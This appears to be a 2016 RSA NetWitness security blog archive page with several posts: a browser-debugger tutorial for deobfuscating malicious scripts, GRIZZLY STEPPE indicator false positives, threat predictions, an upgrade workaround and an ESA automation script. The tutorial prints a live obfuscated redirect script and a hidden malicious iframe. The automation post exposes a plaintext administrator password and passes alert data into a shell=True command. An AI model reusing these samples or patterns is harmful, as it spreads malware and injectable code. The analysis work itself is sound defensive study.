Skip navigation
All Places > Products > RSA NetWitness Platform > Blog > 2016 > December
2016

<Mozilla>

1.The sample.html file to add the debugger; statement in the beginning of the script

2.load script.html into Firefox using the browser's File 

3.Use Firebug to set a breakpoint on the eval (txt); line of the script.

4.look at contents of the variable "txt"by typingthe console.log(txt) command in Firebug's Console tab.

5.Examine the deobfuscated script in the Console tab

 

 

1.The sample.html file to add the debugger; statement in the beginning of the script

2.load script.html into Firefox using the browser's File 

 

--sample.html-

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="keywords" content="#KEYWORDS#" />
<link rel="copyright" href="http://www.gnu.org/copyleft/fdl.html" />
<title>...Berlin with the appointed export lotus notes address book of...</title>
<script>

debugger;
var arr =

"76617220726566203d20646f63756d656e742e72656665727265723b0d0a766172206c6f63203d20646f63756d656e742e6c6f636174696f6e2e687265663b0d0a696620287265662e696e6465784f662822676f6f676c652229203d3d202d31202626207265662e696e6465784f6628227961686f6f2229203d3d202d31202626207265662e696e6465784f6628226d736e2229203d3d202d3129207b0d0a09646f63756d656e742e6c6f636174696f6e2e68726566203d2022687474703a2f2f61637469766566726565686f73742e636f6d2f72656d6f7665642e7068703f75726c3d22202b206c6f633b0d0a7d20656c7365207b0d0a09696620287265662e696e6465784f662822736974653a2229203e3d2030207c7c207265662e696e6465784f662822736974652533412229203e3d203029207b0d0a0909646f63756d656e742e6c6f636174696f6e2e68726566203d2022687474703a2f2f61637469766566726565686f73742e636f6d2f72656d6f7665642e7068703f75726c3d22202b206c6f633b0d0a097d20656c7365207b0d0a0909766172207265203d206e6577205265674578702822687474703a5c2f5c2f285b612d7a302d395c2d412d5a5c2e5d2a295c2f22293b0d0a090976617220646f6d61696e203d2072652e65786563286c6f63293b0d0a090969662028646f6d61696e203d3d206e756c6c29207b0d0a090909646f63756d656e742e6c6f636174696f6e2e68726566203d2022687474703a2f2f61637469766566726565686f73742e636f6d2f72656d6f7665642e7068703f75726c3d22202b206c6f633b0d0a09097d20656c7365207b0d0a0909097265203d206e65772052656745787028225c5c2e285b612d7a302d395c2d412d5a5c2e5d2a2922293b0d0a090909746f70646f6d61696e203d2072652e6578656328646f6d61696e5b315d293b0d0a090909696620287265662e696e6465784f6628646f6d61696e5b315d2920213d202d31207c7c207265662e696e6465784f6628746f70646f6d61696e5b315d2920213d202d3129207b0d0a09090909646f63756d656e742e6c6f636174696f6e2e68726566203d2022687474703a2f2f61637469766566726565686f73742e636f6d2f72656d6f7665642e7068703f75726c3d22202b206c6f633b0d0a0909097d20656c7365207b0d0a090909097265203d206e6577205265674578702822713d5b5e265d2a22293b0d0a09090909766172206d203d2072652e6578656328726566293b0d0a09090909696620286d203d3d206e756c6c29207b0d0a09090909097265203d206e6577205265674578702822703d5b5e265d2a22293b0d0a09090909096d203d2072652e6578656328726566293b0d0a0909090909696620286d203d3d206e756c6c29207b0d0a090909090909646f63756d656e742e6c6f636174696f6e2e68726566203d2022687474703a2f2f61637469766566726565686f73742e636f6d2f72656d6f7665642e7068703f75726c3d22202b206c6f633b0d0a09090909097d20656c7365207b0d0a0909090909097661722071203d206d5b305d2e737562737472696e672832293b0d0a09090909090971203d20712e7265706c616365282f5c2b2f2c20225f22293b0d0a09090909090971203d20712e7265706c616365282f5c732f2c20225f22293b0d0a090909090909646f63756d656e742e6c6f636174696f6e2e68726566203d2022687474703a2f2f73747570686f6d652e636f6d2f702f22202b2071202b20222e68746d6c223b0d0a09090909097d0d0a090909097d20656c7365207b0d0a09090909097661722071203d206d5b305d2e737562737472696e672832293b0d0a090909090971203d20712e7265706c616365282f5c2b2f2c20225f22293b0d0a090909090971203d20712e7265706c616365282f5c732f2c20225f22293b0d0a0909090909646f63756d656e742e6c6f636174696f6e2e68726566203d2022687474703a2f2f73747570686f6d652e636f6d2f702f22202b2071202b20222e68746d6c223b0d0a090909097d0d0a0909097d0d0a09097d0d0a097d0d0a7d0d0a";

  • var table = new Array();table['0'] = 0;table['1'] = 1;table['2'] = 2;table['3'] = 3;table['4'] = 4;table['5'] = 5;table['6'] = 6;table['7'] = 7;table['8'] = 8;table['9'] = 9;table['a'] = 10;table['b'] = 11;table['c'] = 12;table['d'] = 13;table['e'] = 14;table['f'] = 15;function markCounter(a) { 

    var txt = ""; var c = 0; 

    while (c < a.length) {txt += String.fromCharCode(table[a[c]] * 16 + table[a[c + 1]]); c += 2;} 

    eval(txt);

    →3. to set a breakpoint on the eval (txt); line of the script.

 

 

4.look at contents of the variable "txt"by typingthe console.log(txt) command in Firebug's Console tab.

5.Examine the deobfuscated script in the Console tab

 

 

A***freehost.com

URL, Which is probably malicious.

 

---------------------------------------------------------------------------------------------------------------------------------------------------------

<IE>

 

  1. Edit sample.html in Notepad++ to insert the "debugger;" statement in the beginning of its script.
  2. Open sample.html in Internet Explorer and activate the debugger in Developer Tools.
  3. Reload the script in Internet Explorer to activate the debugger.
  4. Set a breakpoint using the Internet Explorer debugger on the third instance of document. write.
  5. Run the script in the Internet Explorer debugger to deobfuscate its contents and reach the breakpoint.
  6. Copy contents of the variable G82B54 to the clipboard and paste them into Notepad++
  7. Examine the deobfuscated script in Notepad++an d then exit Internet Explorer and the text editor

 

 

 

1.Edit sample.html in Notepad++ to insert the "debugger;" statement in the beginning of its script.

 

 

 

 

2.Open sample.html in Internet Explorer and activate the debugger in Developer Tools.

 

3.Reload the script in Internet Explorer to activate the debugger.

 

 

4.Set a breakpoint using the Internet Explorer debugger on the third instance of document. write.

 

5.Run the script in the Internet Explorer debugger to deobfuscate its contents and reach the breakpoint.

6.Copy contents of the variable G82B54 to the clipboard and paste them into Notepad+

 

 

 

 

7.Examine the deobfuscated script in Notepad++,an d then exit Internet Explorer and the text editor

URL is Malicious Site.

G82B54 "</textarea><iframe src=\http://66.109.***.198/c76c1d2643c69857e1a677d2e0f23f8e/b1fd046f3c05b517d106b003853b1441?p=ftp\ width=1 height=1 style=\"border: 0px\"></iframe>"

 

--------------------------------------------------------------------------------------------------------------------------------------------VBscript

Using the Cscript Interpreter

 

1.Right-click vbscript.vbs and select Edit with Notepad++.A dd the following code in the beginning of the file,
2.redefining the execute function so that instead of executing its argument,

 

Function execute(x)
SCript.Echo(x)
End Function

 

 

 

 

cscript > vbscript.vbs > out.txt

read out.txt

 

 

1390***.cn URl is Malicious Site.

Michael Sconzo

Threat: GRIZZLY STEPPE

Posted by Michael Sconzo Employee Dec 30, 2016

The FirstWatch team is constantly tracking various threats and threat actors. As part of their diligence they monitor 3rd parties for various bulletins and reports. US-Cert recently issued a report detailing an intrusion into a political organization believed to have originated from a Nation-State attacker. This attacker named 'GRIZZLY STEPPE' is the subject of a Joint Analysis Report (JAR) between DHS and DNI. The report can be found here: https://www.us-cert.gov/security-publications/GRIZZLY-STEPPE-Russian-Malicious-Cyber-Activity

 

Additionally US-CERT has published an intrusion set that contains network indicators of compromise (IOCs) for said attack. RSA has added these indicators into the NetWitness Live platform (via Feeds) the said indicators can be located in NetWitness with the following custom pivot:

threat.source = “third party publicized iocs” && threat.category = “us-cert”

 

That said, some of the indicators as published are problematic, as they contain legitimate IPs that we believe to be benign triggers. We've identified the following IPs (at the minimum) as potential false positive indicators:

Twitter:
199.59.148.23
Yahoo:
98.138.199.240
66.196.116.112
98.138.79.73
72.30.196.161
Akamai:
104.93.2.201
Google:
216.58.216.174
216.58.216.142
Microsoft:
134.170.108.26
65.55.252.43

 

.Edu OWA Server:
134.121.241.31

 

TOR EXIT NODES:
5.149.254.114
185.100.86.122
203.218.5.241
207.176.226.8
74.208.191.202
185.13.76.45
5.28.62.85
5.135.158.101
5.196.1.129
5.249.145.164
35.0.127.52
37.220.35.202
45.33.48.204
46.28.68.158
46.165.223.217
46.165.230.5
46.182.106.190
51.255.33.0
51.255.202.66
62.210.129.246
64.113.32.29
69.162.139.9
79.172.193.32
80.240.139.111
85.143.219.211
88.198.14.171
89.31.57.5
89.163.237.45
89.187.142.208
89.187.144.122
91.121.230.209
91.146.121.3
91.213.8.84
91.213.8.236
91.219.236.218
91.228.151.52
92.222.6.12
92.222.103.234
93.174.90.30
93.184.66.227
94.102.49.175
94.142.242.84
95.130.11.147
106.187.37.101
107.181.174.84
107.182.131.117
108.166.168.158
109.74.151.149
109.163.234.5
109.163.234.8
128.52.128.105
128.153.145.125
146.185.177.103
148.251.255.92
149.56.223.241
149.56.229.17
158.130.0.242
162.247.72.27
162.247.72.199
162.247.72.200
162.247.72.201
162.247.72.202
162.247.72.216
162.247.72.217
162.247.73.204
162.247.73.206
163.172.135.172
163.172.136.101
163.172.209.46
171.25.193.20
171.25.193.25
171.25.193.77
171.25.193.78
171.25.193.132
171.25.193.235
173.254.216.66
176.10.104.243
176.10.107.180
176.31.7.241
176.58.100.98
178.17.170.124
178.17.170.164
178.17.174.10
178.17.174.99
178.32.53.94
178.175.131.194
178.217.187.39
178.239.167.15
185.11.180.67
185.17.184.228
185.34.33.2
185.36.100.145
185.38.14.171
185.38.14.215
185.69.168.112
185.129.62.62
185.129.62.63
188.126.81.155
193.90.12.86
193.90.12.87
193.90.12.88
193.90.12.89
193.90.12.90
193.111.136.162
195.154.8.111
195.154.90.122
198.50.200.135
198.58.107.53
198.96.155.3
199.87.154.251
199.87.154.255
199.127.226.150
204.11.50.131
204.85.191.30
209.133.66.214
209.249.180.198
212.117.180.130
216.239.90.19
217.12.204.104
217.13.197.5
217.115.10.131
217.115.10.132
109.163.234.2
141.138.141.208
178.17.170.201
185.128.40.220
198.50.200.131
204.194.29.4
207.244.97.183
209.222.77.220
23.239.10.144
64.137.178.3
71.19.157.127
89.187.145.103
94.242.57.2

Hits to any GRIZZLY STEPPE indicators should warrant additional investigation but hits to the above IP addresses should include the expectation of being false positives. None of these indicators have been removed from the feed since we don't want to alter 3rd party information and cause potentially useful context to be absent. 

I am keenly aware that many of us are carrying lots of baggage due to the myriad of 2016 happenings that threatened free and open societies, but I need you to shake it off and consider the following:

 

Life is increasingly data dependent, and the Internet is increasingly at risk

First off, it’s a pretty obvious assumption, but life (not just world commerce) is increasingly data dependent. Just how many commercials have you seen where a hipster parent is clicking on their smartphone app to access their home automation setup? Ruling out your need to lock the car doors while away on beach vacation, our daily data addiction is probably better exhibited through our appetite for texting, social media, streaming music, Google, and the many other conveniences of taking the Internet with you. Like it or not, we have rapidly become a connected culture. And while our data reliance seems like a logical progression of technology within our society, so few are aware of the precarious balance. In recent years, the Internet has become a huge enabler of really every market sector… but it’s also become an increasingly more volatile place to operate.

 

(source: Deloitte[1])

 

The increasing volatility of the Internet was clearly demonstrated during the second half of 2016 with a wave of critical services outages (e.g., Dyn[2]) and the continued rise of malware. We’ll discuss the Internet of Things (IoT) a bit further on in this post, and for now let’s focus crimeware, where actors ”saturated both the rural and urban U.S. populace with ransomware, and constantly improved their tactics, execution and business model to evade detection by current solutions”[3]. A number of FirstWatch investigations (i.e., previous analysis of Cerber and Locky campaigns) also provide evidence and have documented a growing maturity in the crimeware operating model, specifically detailing best practices ranging from innovative attack vectors and diversified revenue streams to customer service for ‘victim assistance’. These are all part of the recipe that allowed Ransomware to see unprecedented revenues in 2016.

 

Maybe that’s not enough evidence though… So let’s consider ‘methbot’, a Russian botnet responsible for exploiting online advertising. In this case, actors gamed the Real Time Bidding process (central to how online exchanges auction and place advertising) by forging nearly 600,000 IP address registrations associated with major US internet service providers (ISPs) and creating “more than 250,000 fake web pages with counterfeit inventory from over 6,000 top-line publishers, including The Economist, The Huffington Post, Vogue, ESPN, Fox News and CBS Sports. Methbot generated between 200 and 300 million bogus video ad impressions per day” to fraudulently earn revenue estimated at more than $1 billion[4]. That means that late 2016 crimeware initiatives earned more than the projected GDP for 14 countries[5].

 

2017 will be the year of crimeware from Eastern Ukraine

So maybe 2016 was just a bad year; how will 2017 see the unprecedented further escalation of crimeware? The answer lies more in the ‘where’… and the answer is Eastern Ukraine. Since the initial invasion in early 2014, Crimea and Eastern Ukraine have been largely under the control of Russian military and Intelligence organizations, and it’s no coincidence that the area has become a hotbed for cyber activity.

 

easter ukraine russia putin invasion crimeware

Ukraine map as of 18 December 2016[6] (source: BleepingComputer)

 

Consider the context of ongoing BlackEnergy attacks against Ukrainian power infrastructure and banking[7], which are increasingly suspect of Russian state involvement. It has also been widely reported that Russian GRU (‘Glavnoye razvedyvatel'noye upravleniye’, which translates to Main Intelligence Directorate) was responsible for deploying malware to exploit and gain intelligence from an app commonly used by Ukrainian military forces[8]. Clearly the Russian state is engaged in an active cyber campaign in the region.

 

But is the increase in crimeware related? During our investigations of summer ransomware attacks, we did note Cerber domains registered to Ukrainian citizens and even to the street address of the Holy Trinity Cathedral in Donetsk; additionally, SKS-Lugan (operating out of Alchevs’k) continues to rise as a in notorious cyber-crime friendly ISP[9]. Both Donetsk and Alchevs’k fall within pro-Russian separatist areas of control in the map above. So… are crimeware actors simply taking advantage of the near bulletproof operating environment that is Eastern Ukraine? Or has Putin connected the dots and begun to directly leverage crimeware to fund his ‘operations’? While it remains unclear, somehow that second idea rings more true each day. Either way, it is likely that we will see continued heightened cyber (and specifically crimeware) operations out of the region in 2017.

 

My toaster and the Internet of Things is ready to ruin everyone’s day

While the situation in Eastern Ukraine is pretty bleak and the cyber campaigns are certainly going to keep Security Industry folks busy. The real problem is that as if this wasn’t bleak enough, now we have to talk about the Internet of Things (IoT) and why you should be very afraid… First and foremost, let’s all agree the IoT is comprised of all the ‘dumb’ networked devices around our homes and offices (e.g., routers, thermostats, sprinklers, refrigerators, echoes, etc.). Unfortunately, we (society) may have lost our head a bit in the frenzy to field all these flavors of connected devices; apparently security wasn’t a calculated concern.

 

Evidence to this fact, 2016 witnessed the first major IoT exploit with the simple brilliance of Mirai, its botnet armies, and historically massive distributed denial of service (DDoS) capabilities. The fact that these sleeper botnets exist is disturbing enough, but perhaps even more significant is that Mirai broke the silence about the ‘middle-school-quality’ security of large swathes of the Internet of Things. Despite a frenzy of OEM patching and rapid growth in the emerging IoT security market, our devices are going to be a welcoming attack surface for Mirai and other IoT related campaigns for years to come.

 

l33t ddos IOT

650Gbps DDoS Attack from Leet Botnet on 21 December 2016[10] (source: Imperva)

 

If you’re still not making the connection, the vulnerabilities in the IoT effectively mean that everything from our privacy to critical infrastructure[11] to personal safety[12] might be in jeopardy. Now imagine what happens when opportunistic crimeware actors leverage IoT vulnerabilities for a myriad of nefarious purposes… car and TV ransomware[13], over-driven heating system explosions, privacy leaks from Amazon Echoes[14], public transportation outages[15]… the list of the possible goes on and on. Scared yet?

 

The Bottom Line

Thanks for the lessons in humility 2016. It’s clear that with the plethora of IoT vulnerabilities and the potential for their exploit from bulletproof operating environments (i.e., Eastern Ukraine), 2017 will usher in a new level of threat to our (society’s) ever-increasing data habit.  Now is the time to start shoring up the levies.

 

 

RSA FirstWatch banner

 

[1] dupress.deloitte.com/dup-us-en/topics/emerging-technologies/rising-tide-exploring-pathways-to-growth-in-the-mobile-semiconductor-industry.html

[2] dyn.com/blog/dyn-analysis-summary-of-friday-october-21-attack/ 

[3]press.malwarebytes.com/2016/12/08/malwarebytes-research-reveals-top-u-s-cities-victimized-by-ransomware/?utm_source=twitter&utm_medium=social

[4] adexchanger.com/online-advertising/white-ops-blows-lid-off-1-billion-plus-russian-botnet/

[5] statisticstimes.com/economy/countries-by-projected-gdp.php

[6] www.bleepingcomputer.com/news/security/hotbed-of-cybercrime-activity-tracked-down-to-isp-in-ukrainian-region-under-russian-control/

[7]www.tripwire.com/state-of-security/latest-security-news/blackenergy-group-now-conducting-digital-espionage-ukraine-banks/

[8] www.infosecurity-magazine.com/news/fancy-bear-tracks-ukraine-troop/?utm_source=dlvr.it&utm_medium=twitter

[9] www.bleepingcomputer.com/news/security/hotbed-of-cybercrime-activity-tracked-down-to-isp-in-ukrainian-region-under-russian-control/

[10]www.incapsula.com/blog/650gbps-ddos-attack-leet-botnet.html

[11] ics.sans.org/blog/2016/12/27/one-cip-two-cip-red-cip-blue-cip

[12] www.independent.co.uk/news/world/americas/north-dakota-becomes-first-us-state-to-legalise-use-of-armed-drones-by-police-10492397.html

[13] www.bleepingcomputer.com/news/security/android-ransomware-infects-lg-smart-tv/

[14] https://www.theinformation.com/amazon-echo-and-the-hot-tub-murder  

[15] www.eastbaytimes.com/2016/11/28/security-analyists-muni-hack-should-be-wake-up-call-to-other-agencies/

This might help illustrate all the components and levers in place to make Malware/Spectrum function in RSA NetWitness suite.  Some of this is obvious, some of it is not.

 

Hope it helps anyone that is implementing of thinking of implementing the Malware component for packet traffic.

 

[Updated] - added legend to call out what is RSA Content and what is opportunities for filtering and customization

 

The Security Analytics/NetWitness Suite Patch releases can be installed on Service Packs, but not on major releases. For example, 10.6.1.1 can be installed on 10.6.1.0 but not on 10.6.0.0. This also means that the patch release upgrade packages only contain the rpms that are needed to upgrade from the nearest service packs.

If the latest patch was not applied to all appliances at the same time, you need to use a workaround to update them.

 

Preconditions

  • SA server, Log Collector, and Concentrator have been built from the 10.6.0 OVA.
  • Connection to Live Update Repository was turned off.
  • SA Server and Log Collector were upgraded to 10.6.1 by using the split zip packages (7 zip files). But the Concentrator was left as 10.6.0.0.

 

Case 1

The 10.6.1 upgrade package was removed from the local repo (SA UI -> Systems -> Updates -> Settings -> Manage Repository. Select and remove 10.6.1).

Now the 10.6.1.1 packages (5 zip files) were uploaded.

Observation 

SA Server and LC can be upgraded to 10.6.1.1. But Concentrator only sees 10.6.0.2 as a possible upgrade.

 

Workaround

1. Load 10.6.1 so that there will be both 10.6.1 and 10.6.1.1 in the local repo.

2. Log into the Concentrator console.

3. Copy the /etc/yum.repos.d/RSASoftware.repo file and create the temp.repo file under the same location. In the temp.repo file, change the last section of the baseurl with the actual release number to 10.6.1 (SA server's local repo folder.)

Example:

[temp]
baseurl=http://puppetmaster.local/rsa/updates/10.6.1/
enabled=1
gpgcheck=1
sslverify=1

4. From a command prompt, run “yum clean all”, followed by “ yum check-update”. At this point, you should be able to see the SA 10.6.1.1 rpms returned.

6. Run “yum update –y

7. After a successful upgrade, delete the temp.repo file.

 

 

Case 2

From the end of Case 1 --- After upgrading the SA server to 10.6.1.1, add a new 16.0.0.0 ESA.

 

Observation

The new ESA was provisioned successfully.
The only update option available to the ESA is 10.6.0.2 but only sees 10.6.0.2 as a possible upgrade.

Workaround 

The same workaround above will work for ESA.

 

This scenario came from Michael McGillick originally a couple of months ago. I thought that above information is worth sharing.

Thank you Melinda Zelenkov for reviewing this post.

A colleague here at RSA posed an interesting problem so I thought I would share with you how I solved it.

 

Imagine the following scenario. A windows machine has visited a potentially suspicious website. This is detected by an ESA rule and an incident would be created. Normal SOC procedures say that when such an incident happens the ECAT Agent should be installed on the windows machine so that further analysis can take place. It is a busy day in the SOC and unfortunately there is a long time gap between when the agent is actually installed. Can this actually be automated?

 

The answer is yes and here is how....

 

First of all, I have a centos 6 server where I will run the commands from. This is to avoid installing any extra packages on the ESA Server that could potentially cause problems.

 

On the centos 6 server I have installed the openvas-smb package. This provides the winexe linux command.

This is a tool that allows you to run psexec type commands from a linux machine.

 

[root@centos6 ~]# yum install wmi
Loaded plugins: fastestmirror, refresh-packagekit
Setting up Install Process
Loading mirror speeds from cached hostfile
* atomic: mirror1.34sp.com
* base: mirror.steadfast.net
* centosplus: mirror.steadfast.net
* contrib: mirror.steadfast.net
* epel: mirror.ibcp.fr
* extras: mirror.steadfast.net
* updates: mirror.steadfast.net
Package wmi is obsoleted by openvas-smb, trying to install openvas-smb-1.0.1-1.el6.art.x86_64 instead
Resolving Dependencies
--> Running transaction check
---> Package openvas-smb.x86_64 0:1.0.1-1.el6.art will be installed
--> Processing Dependency: libroken.so.18(HEIMDAL_ROKEN_1.0)(64bit) for package: openvas-smb-1.0.1-1.el6.art.x86_64
--> Processing Dependency: libkrb5.so.26(HEIMDAL_KRB5_2.0)(64bit) for package: openvas-smb-1.0.1-1.el6.art.x86_64
--> Processing Dependency: libhdb.so.9(HEIMDAL_HDB_1.0)(64bit) for package: openvas-smb-1.0.1-1.el6.art.x86_64
--> Processing Dependency: libgssapi.so.3(HEIMDAL_GSS_2.0)(64bit) for package: openvas-smb-1.0.1-1.el6.art.x86_64
--> Processing Dependency: libgnutls.so.28(GNUTLS_1_4)(64bit) for package: openvas-smb-1.0.1-1.el6.art.x86_64
--> Processing Dependency: libasn1.so.8(HEIMDAL_ASN1_1.0)(64bit) for package: openvas-smb-1.0.1-1.el6.art.x86_64
--> Processing Dependency: atomic-gnutls3-gnutls for package: openvas-smb-1.0.1-1.el6.art.x86_64
--> Processing Dependency: atomic-glib2-glib2 for package: openvas-smb-1.0.1-1.el6.art.x86_64
--> Processing Dependency: libwind.so.0()(64bit) for package: openvas-smb-1.0.1-1.el6.art.x86_64
--> Processing Dependency: libroken.so.18()(64bit) for package: openvas-smb-1.0.1-1.el6.art.x86_64
--> Processing Dependency: libkrb5.so.26()(64bit) for package: openvas-smb-1.0.1-1.el6.art.x86_64
--> Processing Dependency: libhx509.so.5()(64bit) for package: openvas-smb-1.0.1-1.el6.art.x86_64
--> Processing Dependency: libheimntlm.so.0()(64bit) for package: openvas-smb-1.0.1-1.el6.art.x86_64
--> Processing Dependency: libhdb.so.9()(64bit) for package: openvas-smb-1.0.1-1.el6.art.x86_64
--> Processing Dependency: libhcrypto.so.4()(64bit) for package: openvas-smb-1.0.1-1.el6.art.x86_64
--> Processing Dependency: libgssapi.so.3()(64bit) for package: openvas-smb-1.0.1-1.el6.art.x86_64
--> Processing Dependency: libgnutls.so.28()(64bit) for package: openvas-smb-1.0.1-1.el6.art.x86_64
--> Processing Dependency: libasn1.so.8()(64bit) for package: openvas-smb-1.0.1-1.el6.art.x86_64
--> Running transaction check
---> Package atomic-glib2-glib2.x86_64 0:2.41.0-2.el6.art will be installed
---> Package atomic-gnutls3-gnutls.x86_64 1:3.1.25-1.el6.art will be installed
--> Processing Dependency: libnettle.so.4()(64bit) for package: 1:atomic-gnutls3-gnutls-3.1.25-1.el6.art.x86_64
--> Processing Dependency: libhogweed.so.2()(64bit) for package: 1:atomic-gnutls3-gnutls-3.1.25-1.el6.art.x86_64
---> Package heimdal-libs.x86_64 0:1.6.0-0.9.20140621gita5adc06.el6 will be installed
--> Running transaction check
---> Package nettle.x86_64 0:2.7.1-3.el6.art will be installed
--> Finished Dependency Resolution

Dependencies Resolved

============================================================================================================================================================
Package Arch Version Repository Size
============================================================================================================================================================
Installing:
openvas-smb x86_64 1.0.1-1.el6.art atomic 3.3 M
Installing for dependencies:
atomic-glib2-glib2 x86_64 2.41.0-2.el6.art atomic 2.2 M
atomic-gnutls3-gnutls x86_64 1:3.1.25-1.el6.art atomic 610 k
heimdal-libs x86_64 1.6.0-0.9.20140621gita5adc06.el6 epel 1.0 M
nettle x86_64 2.7.1-3.el6.art atomic 307 k

Transaction Summary
============================================================================================================================================================
Install 5 Package(s)

Total download size: 7.4 M
Installed size: 28 M
Is this ok [y/N]: y
Downloading Packages:
(1/5): atomic-glib2-glib2-2.41.0-2.el6.art.x86_64.rpm | 2.2 MB 00:02
(2/5): atomic-gnutls3-gnutls-3.1.25-1.el6.art.x86_64.rpm | 610 kB 00:00
(3/5): heimdal-libs-1.6.0-0.9.20140621gita5adc06.el6.x86_64.rpm | 1.0 MB 00:01
(4/5): nettle-2.7.1-3.el6.art.x86_64.rpm | 307 kB 00:00
(5/5): openvas-smb-1.0.1-1.el6.art.x86_64.rpm | 3.3 MB 00:01
------------------------------------------------------------------------------------------------------------------------------------------------------------
Total 1.1 MB/s | 7.4 MB 00:06
Running rpm_check_debug
Running Transaction Test
Transaction Test Succeeded
Running Transaction
Warning: RPMDB altered outside of yum.
Installing : atomic-glib2-glib2-2.41.0-2.el6.art.x86_64 1/5
Installing : heimdal-libs-1.6.0-0.9.20140621gita5adc06.el6.x86_64 2/5
Installing : nettle-2.7.1-3.el6.art.x86_64 3/5
Installing : 1:atomic-gnutls3-gnutls-3.1.25-1.el6.art.x86_64 4/5
Installing : openvas-smb-1.0.1-1.el6.art.x86_64 5/5
Verifying : nettle-2.7.1-3.el6.art.x86_64 1/5
Verifying : heimdal-libs-1.6.0-0.9.20140621gita5adc06.el6.x86_64 2/5
Verifying : openvas-smb-1.0.1-1.el6.art.x86_64 3/5
Verifying : atomic-glib2-glib2-2.41.0-2.el6.art.x86_64 4/5
Verifying : 1:atomic-gnutls3-gnutls-3.1.25-1.el6.art.x86_64 5/5

Installed:
openvas-smb.x86_64 0:1.0.1-1.el6.art

Dependency Installed:
atomic-glib2-glib2.x86_64 0:2.41.0-2.el6.art atomic-gnutls3-gnutls.x86_64 1:3.1.25-1.el6.art heimdal-libs.x86_64 0:1.6.0-0.9.20140621gita5adc06.el6
nettle.x86_64 0:2.7.1-3.el6.art

Complete

 

After installing the package I then created a file called credentials.cfg containing the account I would use to run the commands on my windows target machine.

 

username=administrator
password=Twof0rt.
domain=WAUGH

 

I was then able to run command from my centos 6 server to a windows machine as follows:

 

root@centos6 ~]# winexe -A credentials.cfg //192.168.123.13 'cmd.exe /c echo "hello"'
"hello"
You have mail in /var/spool/mail/root
[root@centos6 ~]# winexe -A credentials.cfg //192.168.123.13 'hostname'
DWAUGH03

 

This now gives us the capability of running commands from our Centos 6 machine onto a windows machine.

 

The next part of the puzzle was to allow the ESA Server to be able to connect to our Centos 6 Server to be able to run commands. We set up passwordless SSH keys to do this. The important thing here is that when scripts run on the ESA Server, they are run under the user "notification" so we have to set this up as follows:

 

SSH onto the ESA Server as root, then type sudo su notification

This switches us to the user notification.

 

[notification@rsaesa tmp]$ whoami
notification
[notification@rsaesa tmp]$ cd ~
[notification@rsaesa .ssh]$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/notification/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/notification/.ssh/id_rsa.
Your public key has been saved in /home/notification/.ssh/id_rsa.pub.
The key fingerprint is:
d9:ed:61:48:db:c1:aa:75:d5:b7:64:3f:ac:1c:c4:2b notification@rsaesa
The key's randomart image is:
+--[ RSA 2048]----+
| |
| .. . |
| . oo.oo|
| + *.o= +|
| S *E*o +.|
| o +o.o .|
| . .o |
| |
| |
+-----------------+
[notification@rsaesa .ssh]$ ssh-copy-id root@centos6.waugh.local
root@centos6.waugh.local's password:
Now try logging into the machine, with "ssh 'root@centos6.waugh.local'", and check in:

.ssh/authorized_keys

to make sure we haven't added extra keys that you weren't expecting.

[notification@rsaesa .ssh]$ ssh root@centos6.waugh.local "winexe -A credentials.cfg //192.168.123.233 'hostname'"
WIN732
[notification@rsaesa .ssh]$ exit

 

Here we can see that we can run a command on the ESA Server, which will run a command on our Centos 6 Server which will then actually run a command on our target windows machine.

 

We now define our ESA Rule. My ESA Rule fires whenever a suspiciousIP is detected.

 

 

My ESA Script is as follows (Attached as file ESAScript to import into the Global Notifications Page). Note this is python so indentations matter. Please import the file into your system to see the format of the script.

 

#!/usr/bin/env python
from smtplib import SMTP
import subprocess
import datetime
import json
import sys

def dispatch(alert):
"""
The default dispatch just prints the 'last' alert to /tmp/esa_alert.json. Alert details
are available in the Python hash passed to this method e.g. alert['id'], alert['severity'],
alert['module_name'], alert['events'][0], etc.
These can be used to implement the external integration required.
"""
with open("/tmp/esa_alert.json", mode='w') as alert_file:
alert_file.write(json.dumps(alert, indent=True))


def read():
# Define our metakey tuples
# Each tuple is ["metakey","meta key description, "value"]
metakeys=[ ["device_type","Device Type: ",""], \
["device_ip","Device IP: ",""] , \
["device_class","Device Class: ",""] , \
["ip_src","Source IP: ",""] , \
["ip_dst","Dest IP: ",""] , \
["ip_srcport","Source Port: ",""], \
["ip_dstport","Dest Port: ",""] , \
["ec_activity","Activity: ",""] ,\
["ec_subject","Subject: ",""] ,\
["ec_theme", "Theme: ",""] ,\
["event_description", "Description: ",""] ,\
["event_cat_name","Category: ",""] ,\
["msg_id", "Message ID: ",""] ,\
["event_source_id", "Concentrator: ",""] \
]

# Keys we want in our Subject
subj_metakeys=[ ["device_type","Device Type: ","" ] , \
["msg_id", "Message ID: ",""] ]


#Parameter
sa_server = '192.168.123.4'
brokerid = '6'
smtp_server = '192.168.123.27'
smtp_port = '25'
smtp_user = ''
smtp_pass = ''
from_addr = "RSA Security Analytics <RSA@SecurityAnalytics.com>"
to_addr = ['securityanalytics@waugh.com']

# Get data from JSON
esa_alert = json.loads(open('/tmp/esa_alert.json').read())
#Extract Variables (Add as required)

try:
module_name = esa_alert["module_name"]
except KeyError:
module_name = "null"

try:
sessionid = str(esa_alert["events"][0]["sessionid"])
except KeyError:
sessionid = "null"
try:
ip_src = str(esa_alert["events"][0]["ip_src"])
except KeyError:
ip_src = "null"


#Extract Values for each of our Variables
for tuples in metakeys:
try:
tuples[2] = str(esa_alert["events"][0][tuples[0]])
except KeyError:
tuples[2] = "null"

#Extract Our Subject Variables
for tuples in subj_metakeys:
try:
tuples[2] = str(esa_alert["events"][0][tuples[0]])
except KeyError:
tuples[2] = "null"

try:
event_source_id =esa_alert["events"][0]["event_source_id"]
except KeyError:
event_source_id = "null"

#Work out Concentrator ID depending on Event Source
if event_source_id.startswith( "192.168.123.240" ):
concid=231
elif event_source_id.startswith( "192.168.123.6" ):
concid=267
elif event_source_id.startswith( "CONC3" ):
concid=70
elif event_source_id.startswith( "CONC4" ):
concid=90
else:
concid=0


# Sends Email
smtp = SMTP()
smtp.set_debuglevel(0)
smtp.connect(smtp_server,smtp_port)
#smtp.login(smtp_user,smtp_pass)

# Runs command
mycommand = "ssh root@centos6.waugh.local \"winexe -A credentials.cfg //" + ip_src + " \'hostname\'\""
myresult = ""

# Runs a System Command
p = subprocess.Popen(mycommand,shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
